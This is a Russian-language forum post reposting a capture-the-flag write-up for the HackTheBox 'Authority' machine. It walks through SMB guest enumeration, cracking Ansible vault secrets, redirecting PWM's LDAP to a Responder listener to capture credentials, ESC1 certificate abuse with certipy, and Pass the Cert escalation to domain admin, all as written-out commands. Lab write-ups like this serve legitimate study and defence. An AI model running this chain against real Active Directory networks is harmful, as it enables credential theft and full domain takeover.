• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии в Windows через ESC1 и Pass the Cert

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как применять технику ESC1 ADCS для получения сертификата администратора и Pass the Cert для получения доступа к хосту. Также достанем учетные данные из Ansible и стриггерим подключение к своему серверу LDAP для перехвата учетных данных.
Нашей целью будет захват рута на тренировочной машине Authority с площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.222 authority.htb
И начинаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Так как Windows может не отвечать на пинг, исключим этот шаг из сканирования (опция -Pn).

Результат работы скрипта

Сканер нашел множество открытых портов, что характерно для серверов на Windows:
  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 5985 — служба удаленного управления WinRM;
  • 8443 — веб‑сервер, выполняющий редирект на страницу /pwm;
  • 9389 — веб‑службы AD DS.

Точка входа​

Первым делом проверим доступ от имени гостевой учетной записи, для чего будем использовать фреймворк Для просмотра ссылки Войди или Зарегистрируйся.

crackmapexec smb 10.10.11.222 -u guest -p ""
Проверка гостевой учетной записи

Доступ есть, проверим доступные для чтения общие ресурсы.

crackmapexec smb 10.10.11.222 -u guest -p "" --sahres
Общие ресурсы SMB

В списке значится интересный каталог Development, который мы можем просмотреть. Подключаем к шаре с помощью Для просмотра ссылки Войди или Зарегистрируйся и смотрим содержимое.

Код:
impacket-smbclient guest@10.10.11.222
use Development
ls

Содержимое SMB-ресурса Development

Видим вложенный каталог. Спустившись по каталогам дальше, находим директорию Ansible, содержащую папки ADCS, LDAP, PWM и SHARE.

Вложенные каталоги

Точка опоры​

В каталоге PWM\defaults находим файл .yml, содержащий зашифрованные учетные данные.

Код:
get PWM\defaults\main.yml
cat main.yml
Содержимое файла main.yml

Все учетные данные зашифрованы одним ключом, который можно попытаться подобрать. Первым делом сохраним один из блоков в файл, который затем передадим скрипту Для просмотра ссылки Войди или Зарегистрируйся для преобразования в формат hashcat/jtr.

Преобразование блока данных

Теперь определим тип хеша. Делать это удобно с помощью справки hashcat.

hashcat --example | grep -A7 -B11 'ansible'
Справка hashcat
Теперь сохраняем хеш в файл и передаем его в hashcat вместе с полученным режимом 16900 (параметр -m) и списком паролей.

Код:
ansible2john ansible_hash2.txt > hash.txt
hashcat -m 16900 -a 0 --username hash.txt rockyou.txt

Результат перебора хеша

В итоге получаем ключ, которым можно расшифровать все пароли. Каждый сохраняем в отдельный файл и используем ansible-vault decrypt.

Код:
cat ansible_hash.txt | ansible-vault decrypt
cat ansible_hash2.txt | ansible-vault decrypt
cat ansible_hash3.txt | ansible-vault decrypt
Получение паролей ansible-vault

Продвижение​

С полученными учетными данными авторизоваться на службах не удалось. Но мы также получили креды для PWM на порте 8443.

Подключение к порту 8443

Получаем ошибку, которая сообщает о том, что обязателен TLS. Значит, меняем протокол с HTTP на HTTPS.

Главная страница сайта

Для авторизации нужен логин, которого у нас нет. Но если перейти к менеджеру настроек, то там требуется только сервисный пароль.

Менеджер настроек

Страница авторизованного пользователя

На этой странице можно сохранять или загружать настройки. Также отображается таблица состояния, в которой видим ошибку подключения к LDAP. Видимо, адрес сервера LDAP указан в настройках, и если мы сможем их изменить, то вызовем авторизацию на свой сервер. Причем пароли LDAP передаются в открытом виде.

Для просмотра ссылки Войди или Зарегистрируйся
Находим адрес LDAP в скачанных настройках и переписываем значение на свой адрес.

Измененная конфигурация

Запускаем у себя многофункциональный листенер Для просмотра ссылки Войди или Зарегистрируйся и загружаем измененный файл.

sudo responder -I tun0 -v
Логи Responder

В запросе есть как логин, так и пароль доменного пользователя svc_ldap. Для проверки учетных данных пробуем получить список пользователей с помощью CrackMapExec.

crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --users
Пользователи домена

Пользователей мало, проверим, состоит ли наш в группе Remote Management Users.

crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --groups 'Remote Management Users'
Члены группы Remote Management Users

Таким образом, пользователь может получить управление через службу WinRM. Для подключения используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -i 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
Флаг пользователя

Локальное повышение привилегий​

В общем каталоге также была директория ADCS. Службы сертификатов Active Directory (AD CS) — это настраиваемые службы для выдачи сертификатов и управления ими в системах безопасности ПО, использующих технологии открытых ключей.

Центры сертификации AD CS выдают сертификаты с параметрами, которые определяются шаблонами. Эти шаблоны представляют собой наборы политик регистрации и предопределенных параметров сертификата и содержат разные сведения, например:
  • срок действия сертификата;
  • предназначение сертификата;
  • способ указания субъекта;
  • кому разрешено запросить сертификаты.
Каждый ЦС предприятия поставляется с шаблонами по умолчанию, и общепринята практика брать их за основу. То есть если ты хочешь дать клиенту сертификат для работы с 802.1x, то нужно взять копию шаблона Computer, а если S/MIME-сертификаты, то копию шаблона User. Названия шаблонов могут сбить с толку, однако фундаментальной разницы между ними нет. Каждый шаблон может выдать сертификат любого типа, если он заполнен правильными параметрами. Но шаблоны сертификатов — это также защищаемые объекты в Active Directory, то есть они имеют дескриптор безопасности, указывающий, какие участники Active Directory имеют определенные права для шаблона.

Получить информацию о центре сертификации и проверить уязвимые шаблоны можно с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся.

.\Certify.exe find /vulnerable
Информация из ADCS

Видим уязвимый шаблон сертификата CorpVPN. Этот сертификат уязвим к технике повышения привилегий ESC1:
  • ‌Enrollment Permissions показывает, что компьютеры домена могут запросить сертификат без утверждения менеджером;
  • pKIExtendedKeyUsage показывает, что сертификат может использоваться для аутентификации в домене (Client Authentication);
  • msPKI-Certificate-Name-Flag содержит флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, говорящий о том, что шаблон сертификата позволяет запрашивающим лицам указывать имя объекта в CSR.
Последний пункт приводит к тому, что пользователь с низкими привилегиями может запрашивать сертификат с произвольным SAN, то есть для любого пользователя в домене, включая администратора. Затем можно использовать этот сертификат для аутентификации от имени указанного пользователя.

Но так как получить сертификат может только компьютер, создаем подконтрольную учетную запись компьютера.

impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name 'rcomp$' -computer-pass 'RRrr!!11'
Создание учетной записи компьютера

Для работы Для просмотра ссылки Войди или Зарегистрируйся нужно добавить в /etc/hosts записи для компьютера и центра сертификации.

10.10.11.222 authority.htb authority.authority.htb AUTHORITY-CA
А от имени созданного компьютера запросим сертификат для пользователя Administrator.

certipy-ad req -u 'rcomp$' -p 'RRrr!!11' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn [EMAIL]administrator@authority.htb[/EMAIL] -dns authority.authority.htb -dc-ip 10.10.11.222
Получение сертификата администратора

Теперь нужно получить доступ к машине.

Pass the certificate​

Pass the cert — это техника получения билета TGT, при которой для аутентификации используется сертификат пользователя вместо пароля. Обычно это можно провернуть в той же Certipy, но в данном случае получаем ошибку.

certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222
Ошибка получения TGT-билета

Certipy и PKINITtools используют PKINIT и получают TGT-билет, чтобы с помощью техники UnPac the hash извлечь NT-хеш учетной записи. Если вернуться к шаблону сертификата, можно увидеть, что он не имеет EKU Smart Card Logon, а значит, и не будет поддержки PKINIT! Тогда возьмем другую программу — Для просмотра ссылки Войди или Зарегистрируйся. Она подключается к LDAP, используя аутентификацию Schannel. Но сперва разделим файл PFX на сертификат и ключ.

Код:
certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator_authority.crt

certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator_authority.key
Извлечение сертификата и ключа

В PassTheCert есть очень удобная встроенная утилита для работы с LDAP — Для просмотра ссылки Войди или Зарегистрируйся. Получив доступ к LDAP командой add_user_to_group, добавляем созданную учетную запись компьютера в группу администраторов.

python3 passthecert.py -action ldap-shell -crt administrator_authority.crt -key administrator_authority.key -domain authority.htb -dc-ip 10.10.11.222
Эксплуатация Pass the Cert через LDAP

А теперь подключаемся через WinRM и забираем флаг администратора.

evil-winrm -i 10.10.11.222 -u 'rcomp$' -p 'RRrr!!11'
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here